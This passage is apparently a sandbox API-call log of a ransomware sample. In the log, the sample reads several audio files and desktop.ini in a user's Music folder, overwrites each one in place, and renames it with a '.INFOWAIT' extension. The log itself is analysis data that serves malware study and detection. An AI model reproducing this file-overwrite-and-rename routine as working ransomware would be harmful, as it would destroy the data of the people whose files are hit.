lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x8be2, lpOverlapped=0x0) returned 1 [0120.052] VirtualAlloc (lpAddress=0x0, dwSize=0x8be2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.059] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.059] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x8be2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x8be2, lpOverlapped=0x0) returned 1 [0120.059] CloseHandle (hObject=0xad0) returned 1 [0120.062] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\Qj0Bxz9rAG9Fja0Mk.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\Qj0Bxz9rAG9Fja0Mk.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\Qj0Bxz9rAG9Fja0Mk.wav" [0120.063] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\Qj0Bxz9rAG9Fja0Mk.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\Qj0Bxz9rAG9Fja0Mk.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\Qj0Bxz9rAG9Fja0Mk.wav.INFOWAIT" [0120.063] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\Qj0Bxz9rAG9Fja0Mk.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\qj0bxz9rag9fja0mk.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\Qj0Bxz9rAG9Fja0Mk.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\qj0bxz9rag9fja0mk.wav.infowait")) returned 1 [0120.063] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.064] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.065] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.065] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\r7FR3hZryb5hq9Ud7NX.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\r7fr3hzryb5hq9ud7nx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.065] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7506 [0120.065] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.066] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.066] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7506, lpOverlapped=0x0) returned 1 [0120.069] VirtualAlloc (lpAddress=0x0, dwSize=0x7506, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.072] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.072] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7506, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7506, lpOverlapped=0x0) returned 1 [0120.073] CloseHandle (hObject=0xad0) returned 1 [0120.079] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\r7FR3hZryb5hq9Ud7NX.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\r7FR3hZryb5hq9Ud7NX.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\r7FR3hZryb5hq9Ud7NX.wav" [0120.079] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\r7FR3hZryb5hq9Ud7NX.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\r7FR3hZryb5hq9Ud7NX.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\r7FR3hZryb5hq9Ud7NX.wav.INFOWAIT" [0120.079] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\r7FR3hZryb5hq9Ud7NX.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\r7fr3hzryb5hq9ud7nx.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\r7FR3hZryb5hq9Ud7NX.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\r7fr3hzryb5hq9ud7nx.wav.infowait")) returned 1 [0120.083] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.084] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.084] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\UrqJ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\urqj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.085] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x342a [0120.085] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.085] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.085] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x342a, lpOverlapped=0x0) returned 1 [0120.090] VirtualAlloc (lpAddress=0x0, dwSize=0x342a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.091] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.091] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x342a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x342a, lpOverlapped=0x0) returned 1 [0120.092] CloseHandle (hObject=0xad4) returned 1 [0120.098] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\UrqJ.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\UrqJ.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\UrqJ.m4a" [0120.098] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\UrqJ.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\UrqJ.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\UrqJ.m4a.INFOWAIT" [0120.099] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\UrqJ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\urqj.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\UrqJ.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\urqj.m4a.infowait")) returned 1 [0120.100] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.101] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.102] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\XRQKbLhwuLoes9nMF eV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\xrqkblhwuloes9nmf ev.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.103] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14296 [0120.103] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.104] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.104] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x14296, lpOverlapped=0x0) returned 1 [0120.110] VirtualAlloc (lpAddress=0x0, dwSize=0x14296, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.118] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.118] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x14296, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x14296, lpOverlapped=0x0) returned 1 [0120.119] CloseHandle (hObject=0xad4) returned 1 [0120.126] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\XRQKbLhwuLoes9nMF eV.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\XRQKbLhwuLoes9nMF eV.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\XRQKbLhwuLoes9nMF eV.m4a" [0120.126] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\XRQKbLhwuLoes9nMF eV.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\XRQKbLhwuLoes9nMF eV.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\XRQKbLhwuLoes9nMF eV.m4a.INFOWAIT" [0120.127] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\XRQKbLhwuLoes9nMF eV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\xrqkblhwuloes9nmf ev.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\XRQKbLhwuLoes9nMF eV.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\xrqkblhwuloes9nmf ev.m4a.infowait")) returned 1 [0120.128] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.129] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.130] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\zDJHX2UBtq2jNGLqtNRG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\zdjhx2ubtq2jnglqtnrg.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.132] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbefd [0120.132] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.132] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.132] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbefd, lpOverlapped=0x0) returned 1 [0120.136] VirtualAlloc (lpAddress=0x0, dwSize=0xbefd, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.140] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.141] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbefd, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbefd, lpOverlapped=0x0) returned 1 [0120.141] CloseHandle (hObject=0xad0) returned 1 [0120.144] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\zDJHX2UBtq2jNGLqtNRG.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\zDJHX2UBtq2jNGLqtNRG.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\zDJHX2UBtq2jNGLqtNRG.mp3" [0120.144] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\zDJHX2UBtq2jNGLqtNRG.mp3", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\zDJHX2UBtq2jNGLqtNRG.mp3.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\zDJHX2UBtq2jNGLqtNRG.mp3.INFOWAIT" [0120.144] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\zDJHX2UBtq2jNGLqtNRG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\zdjhx2ubtq2jnglqtnrg.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\zDJHX2UBtq2jNGLqtNRG.mp3.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\zdjhx2ubtq2jnglqtnrg.mp3.infowait")) returned 1 [0120.145] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.146] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.147] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6G5yHmu-I-1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6g5yhmu-i-1.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.148] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x179e0 [0120.148] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.149] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.149] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x179e0, lpOverlapped=0x0) returned 1 [0120.152] VirtualAlloc (lpAddress=0x0, dwSize=0x179e0, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.164] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.164] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x179e0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x179e0, lpOverlapped=0x0) returned 1 [0120.170] CloseHandle (hObject=0xad0) returned 1 [0120.178] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6G5yHmu-I-1.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6G5yHmu-I-1.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6G5yHmu-I-1.wav" [0120.178] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6G5yHmu-I-1.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6G5yHmu-I-1.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6G5yHmu-I-1.wav.INFOWAIT" [0120.178] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6G5yHmu-I-1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6g5yhmu-i-1.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6G5yHmu-I-1.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6g5yhmu-i-1.wav.infowait")) returned 1 [0120.179] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.180] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.180] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Au5gZJs3.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\au5gzjs3.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.182] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xeeba [0120.182] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.185] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.185] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xeeba, lpOverlapped=0x0) returned 1 [0120.196] VirtualAlloc (lpAddress=0x0, dwSize=0xeeba, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.202] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.202] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xeeba, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xeeba, lpOverlapped=0x0) returned 1 [0120.202] CloseHandle (hObject=0xad0) returned 1 [0120.207] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Au5gZJs3.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Au5gZJs3.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Au5gZJs3.wav" [0120.207] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Au5gZJs3.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Au5gZJs3.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Au5gZJs3.wav.INFOWAIT" [0120.207] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Au5gZJs3.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\au5gzjs3.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Au5gZJs3.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\au5gzjs3.wav.infowait")) returned 1 [0120.208] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.209] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.209] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.209] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.209] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f8 [0120.210] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.210] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.210] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1f8, lpOverlapped=0x0) returned 1 [0120.213] VirtualAlloc (lpAddress=0x0, dwSize=0x1f8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.213] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.213] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1f8, lpOverlapped=0x0) returned 1 [0120.213] CloseHandle (hObject=0xad0) returned 1 [0120.214] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini" [0120.214] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini.INFOWAIT" [0120.214] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\desktop.ini.infowait")) returned 1 [0120.215] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.216] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.216] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.216] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fWq7Sf.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fwq7sf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.217] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x91a [0120.217] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.217] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.217] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x91a, lpOverlapped=0x0) returned 1 [0120.221] VirtualAlloc (lpAddress=0x0, dwSize=0x91a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.221] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.221] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x91a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x91a, lpOverlapped=0x0) 